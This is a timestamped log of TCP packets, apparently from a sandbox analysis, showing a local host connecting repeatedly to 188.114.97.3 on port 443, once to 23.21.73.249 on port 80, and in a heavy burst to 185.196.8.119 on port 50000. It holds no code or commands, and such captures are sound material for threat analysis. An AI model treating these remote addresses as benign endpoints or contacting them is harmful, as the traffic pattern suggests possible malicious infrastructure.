Sep 30, 2024 12:20:45.652618885 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.652683973 CEST	443	49813	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.652755976 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.661901951 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.661940098 CEST	443	49813	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.693662882 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.739411116 CEST	443	49813	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.789199114 CEST	443	49812	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.789273977 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.789288998 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.834888935 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.834949017 CEST	443	49814	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.835035086 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.836256981 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.836275101 CEST	443	49814	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.943881989 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.987407923 CEST	443	49814	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.059940100 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.059973955 CEST	443	49815	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.060060024 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.061947107 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.061964035 CEST	443	49815	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.148761034 CEST	443	49813	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.148843050 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.148879051 CEST	49813	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.166909933 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.211404085 CEST	443	49815	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.292038918 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.292078018 CEST	443	49816	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.292181015 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.293293953 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.293312073 CEST	443	49816	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.302933931 CEST	443	49814	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.303016901 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.303040028 CEST	49814	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.404937029 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.449212074 CEST	49817	80	192.168.2.5	23.21.73.249
Sep 30, 2024 12:20:46.451400042 CEST	443	49816	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.454111099 CEST	80	49817	23.21.73.249	192.168.2.5
Sep 30, 2024 12:20:46.454185963 CEST	49817	80	192.168.2.5	23.21.73.249
Sep 30, 2024 12:20:46.455255985 CEST	49817	80	192.168.2.5	23.21.73.249
Sep 30, 2024 12:20:46.460109949 CEST	80	49817	23.21.73.249	192.168.2.5
Sep 30, 2024 12:20:46.517692089 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.517729044 CEST	443	49818	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.517829895 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.519336939 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.519347906 CEST	443	49818	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.519792080 CEST	443	49815	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.519855022 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.519889116 CEST	49815	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.627105951 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.671402931 CEST	443	49818	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.740583897 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.740647078 CEST	443	49819	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.740746021 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.741874933 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.741888046 CEST	443	49819	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.753207922 CEST	443	49816	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.753277063 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.753288031 CEST	49816	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.849898100 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.891407013 CEST	443	49819	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.965092897 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.965121984 CEST	443	49820	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.965208054 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.966356039 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.966368914 CEST	443	49820	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.994079113 CEST	443	49818	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:46.994158983 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:46.994177103 CEST	49818	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.073995113 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.119405031 CEST	443	49820	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.187514067 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.187561989 CEST	443	49821	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.187880039 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.189258099 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.189274073 CEST	443	49821	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.215362072 CEST	443	49819	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.215461969 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.215461969 CEST	49819	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.296602011 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.339410067 CEST	443	49821	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.406958103 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.407008886 CEST	443	49822	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.409121990 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.410273075 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.410291910 CEST	443	49822	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.427030087 CEST	443	49820	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.427166939 CEST	443	49820	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.427170992 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.427170992 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.430747032 CEST	49820	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.516621113 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.559417009 CEST	443	49822	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.628488064 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.628535986 CEST	443	49823	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.628819942 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.630022049 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.630048990 CEST	443	49823	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.690759897 CEST	443	49821	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.690865993 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.690865993 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.690877914 CEST	443	49821	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.693656921 CEST	49821	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.740971088 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.787400961 CEST	443	49823	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.854933977 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.854980946 CEST	443	49824	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.855360031 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.856612921 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.856627941 CEST	443	49824	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.885467052 CEST	443	49822	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:47.885560989 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.885560989 CEST	49822	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:47.968283892 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.011452913 CEST	443	49824	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.097064972 CEST	443	49823	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.097167969 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.097167969 CEST	49823	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.099349022 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.099389076 CEST	443	49825	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.099514008 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.100908995 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.100924969 CEST	443	49825	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.205086946 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.251416922 CEST	443	49825	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.333573103 CEST	443	49824	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.333652020 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.333669901 CEST	49824	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.383470058 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.383519888 CEST	443	49826	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.383595943 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.384867907 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.384882927 CEST	443	49826	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.476010084 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.519404888 CEST	443	49826	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.576229095 CEST	443	49825	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.576303959 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.576327085 CEST	49825	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.606219053 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.606257915 CEST	443	49827	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.606340885 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.607553959 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.607572079 CEST	443	49827	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.700001955 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.743419886 CEST	443	49827	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.757915974 CEST	80	49817	23.21.73.249	192.168.2.5
Sep 30, 2024 12:20:48.810647964 CEST	49817	80	192.168.2.5	23.21.73.249
Sep 30, 2024 12:20:48.813587904 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.813638926 CEST	443	49828	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.813792944 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.815381050 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.815397024 CEST	443	49828	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.860506058 CEST	443	49826	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:48.860596895 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.860794067 CEST	49826	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.923913002 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:48.971410036 CEST	443	49828	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.042246103 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.042298079 CEST	443	49829	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.042373896 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.043909073 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.043921947 CEST	443	49829	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.085270882 CEST	443	49827	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.085335016 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.085354090 CEST	49827	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.146857023 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.187417030 CEST	443	49829	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.278134108 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.278186083 CEST	443	49830	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.278213978 CEST	443	49828	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.278305054 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.278305054 CEST	49828	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.278404951 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.280189991 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.280208111 CEST	443	49830	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.352849960 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.357811928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.357897043 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.368200064 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.373071909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.378710985 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.419414043 CEST	443	49830	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.484745979 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.484781981 CEST	443	49832	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.484999895 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.486078978 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.486100912 CEST	443	49832	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.527504921 CEST	443	49829	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.527586937 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.527611971 CEST	49829	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.592041969 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.639401913 CEST	443	49832	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.708647966 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.708710909 CEST	443	49833	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.708776951 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.709918976 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.709949017 CEST	443	49833	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.720613956 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.725543022 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725554943 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725564957 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725573063 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725588083 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725595951 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725605965 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725621939 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.725647926 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.725670099 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725680113 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725693941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.725758076 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.730448008 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730467081 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730500937 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730520010 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.730544090 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.730570078 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730580091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730587959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.730633974 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.730648994 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.734318018 CEST	443	49830	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.734385014 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.734406948 CEST	49830	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.772849083 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.772995949 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.810744047 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.823394060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.823534966 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828445911 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828457117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828464031 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828493118 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828500986 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828511000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828530073 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828537941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828547001 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828577995 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828582048 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828591108 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828593969 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828641891 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828651905 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828668118 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828705072 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828716040 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828727961 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828736067 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828782082 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828792095 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828792095 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828836918 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828850031 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828866005 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828891993 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828900099 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828910112 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828919888 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828928947 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828943968 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828955889 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828955889 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828967094 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.828985929 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828996897 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.828996897 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829016924 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829047918 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829082012 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829091072 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829098940 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829133987 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829154015 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829157114 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829188108 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829209089 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829210043 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829237938 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829246998 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.829266071 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.829301119 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833364010 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833419085 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833478928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833503962 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833543062 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833559990 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833617926 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833631039 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833672047 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833720922 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833729982 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833774090 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833782911 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833817959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.833831072 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833862066 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.833883047 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834007025 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834048033 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834067106 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834084034 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834108114 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834114075 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834146023 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834155083 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834224939 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834273100 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834311962 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834321976 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834347963 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834364891 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834422112 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834450960 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834477901 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834481955 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834506035 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834537983 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834563971 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834566116 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834592104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834608078 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834644079 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834647894 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834654093 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834698915 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.834717989 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.834728003 CEST	50000	49831	185.196.8.119	192.168.2.5
